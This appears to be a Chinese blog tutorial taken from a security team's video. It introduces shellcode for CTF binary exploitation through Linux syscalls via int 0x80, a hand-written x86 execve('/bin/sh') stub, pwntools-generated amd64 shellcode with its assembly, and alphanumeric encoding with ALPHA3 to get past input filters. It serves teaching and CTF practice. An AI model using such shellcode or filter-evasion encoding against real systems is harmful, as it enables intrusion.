本次教学节选于星梦安全团队在Bilibili上发表的视频 url为https://www.bilibili.com/video/BV11v411C7Zbp=6 > 如有侵权请联系本文作者

在本次的教学中 你会学习到以下的知识点:

  1. 什么是Shellcode
  2. 怎么写Shellcode

Shell

0x01 什么是Shellcode

简单的说 Shellcode就是就是可以远程执行命令的代码 其中 Shellcode可以创造出一个和服务器相连的Shell链接 就比如说 我们大家知道的木马病毒,以及任何病毒其中有些就是在当中注入了Shellcode
这里 我们可以举一个例子 就比如说一个很简单的例子

#include "stdlib.h"
#include "unistd.h"

void main()
{
   system("bin/sh");
   exit(0);
}

在Linux 环境下运行这个C语言 你会获得了一个Shell这个不用多说 但是 这个并不能作为一个Shellcode 你知道为什么吗?

其实 我们这里就可以引出这两个作为Shellcode的 要求 那么是
1:Shellcode 的大小必须不能超过几十字节
2:Shellcode 是无法调用system()函数的

那么 我们先解决第一个问题

System函数问题

首先我们知道为什么Shellcode是无法调用system()函数的 其实是这样的:

当我们只使用几小段汇编指令的时候 我们是无法知道Shellcode的位置而使用Jump跳转到的

但是我们先别慌 可所谓万事终有解决之法这个问题也不是不能解决的
我们可以利用中断的方法来实现系统的调用

软中断

知识点:我们可以通过触发中断(int 0x80或者syscall)进行系统调用
原理如下

用户进程在执行系统调用前,先把系统调用名(实际上是系统调用号)、输入参数等放到寄存器上(EBX,ECX等寄存器)
然后发出int 0x80指令,即触发xxx号中断
系统暂停用户进程,根据xxx号中断找到中断服务程序,这个程序名就叫system_call()
system_call()接着执行。它会从寄存器中找到系统调用名、输入参数等,并根据系统调用上下文中找到引发系统调用的进程;执行完毕后它又会把输出结果放到寄存器中。
系统恢复用户进程,进程从寄存器中取到自己想要的东西,然后继续执行。

那么这时候有聪明的学生就问了 那是不是用Shellcode设置好寄存器后 最后 int 0x80就能拿到Shell呢?
我们来试一试吧:
实验步骤:

  1. 设置基地址指向/bin/sh
  2. ecx=0 edx=0
  3. eax=0xb
  4. 触发终端
    代码如下:
_start
push "/sh"
push"/bin"
mov ebx , esp
xor edx, edx
xor ecx, ecx
mov al, 0xb;
int 0x80

编译完成后 我们就编译了一个最简单的Shell程序

如何自动化生产一个Shellcode?

对于刚刚没听懂的同学 这次福利来了!!
这次 我们会使用Python的pwntools模块来生产一个Shellcode
老火鸡了
需要Pwntools环境

说到pwntools,pwntools是一个非常好用的Python exp编写模块 其中包含许多漏洞利用 例如栈溢出 缓存区溢出 非常好用 下期我出个pwntools教程

代码如下:

from pwn import *
context(log_level = 'debug', arch ='amd64',os= 'linux') #arch i386/amd64 os 填系统
shellcode = asm(shellcraft.sh())
print(shellcode)

反馈如下:

.section .shellcode,"awx"
    .global _start
    .global __start
    _start:
    __start:
    .intel_syntax noprefix
        /* execve(path='/bin///sh', argv=['sh'], envp=0) */
        /* push b'/bin///sh\x00' */
        push 0x68
        mov rax, 0x732f2f2f6e69622f
        push rax
        mov rdi, rsp
        /* push argument array ['sh\x00'] */
        /* push b'sh\x00' */
        push 0x1010101 ^ 0x6873
        xor dword ptr [rsp], 0x1010101
        xor esi, esi /* 0 */
        push rsi /* null terminate */
        push 8
        pop rsi
        add rsi, rsp
        push rsi /* 'sh\x00' */
        mov rsi, rsp
        xor edx, edx /* 0 */
        /* call execve() */
        push 59 /* 0x3b */
        pop rax
        syscall

0x02 Shellcode变形

这里我们 可以用mrctf_2020Shellcode举例子
在这道题目中 选手只能通过使用0-9 :; =<> ? A-Z a-z
这里我们可以使用脚本生成编码
https://github.com/TaQini/alpha3
github上的开源工具


ALPHA3是一款将任何x86机器代码转换为100%字母数字代码的工具,具有类似的功能。它的工作原理是将原始 > 代码编码为字母数字数据,并将这些数据与解码器相结合,解码器是一段专门为100%字母数字而编写的x86机器> 代码。当运行时,解码器将数据转换回原始代码,之后再执行。
ALPHA3是ALPHA2的更新和扩展版本。对ALPHA2的改进包括新的编码(x86小写ascii和x64混合大小写ascii)> 和用于各种其他编码的较小的解码器。
[用法] ALPHA3.py [ 编码器设置 | I/O设置 | 标志 ] 。

这里具体可上github查看

0x03 总结

对于没有限制的Shellcode 可以用Pwntools生产
对于有长度限制的可以自己手动写
如果有过滤的话 可以使用市面上的软件来写


好了 今天的w1cklyTime就这样的结束了 想看更多有关网络信息的同学可以关注这个博客网站哟~再见

最后修改:2021 年 04 月 07 日 05 : 31 PM
如果觉得我的文章对你有用,请随意赞赏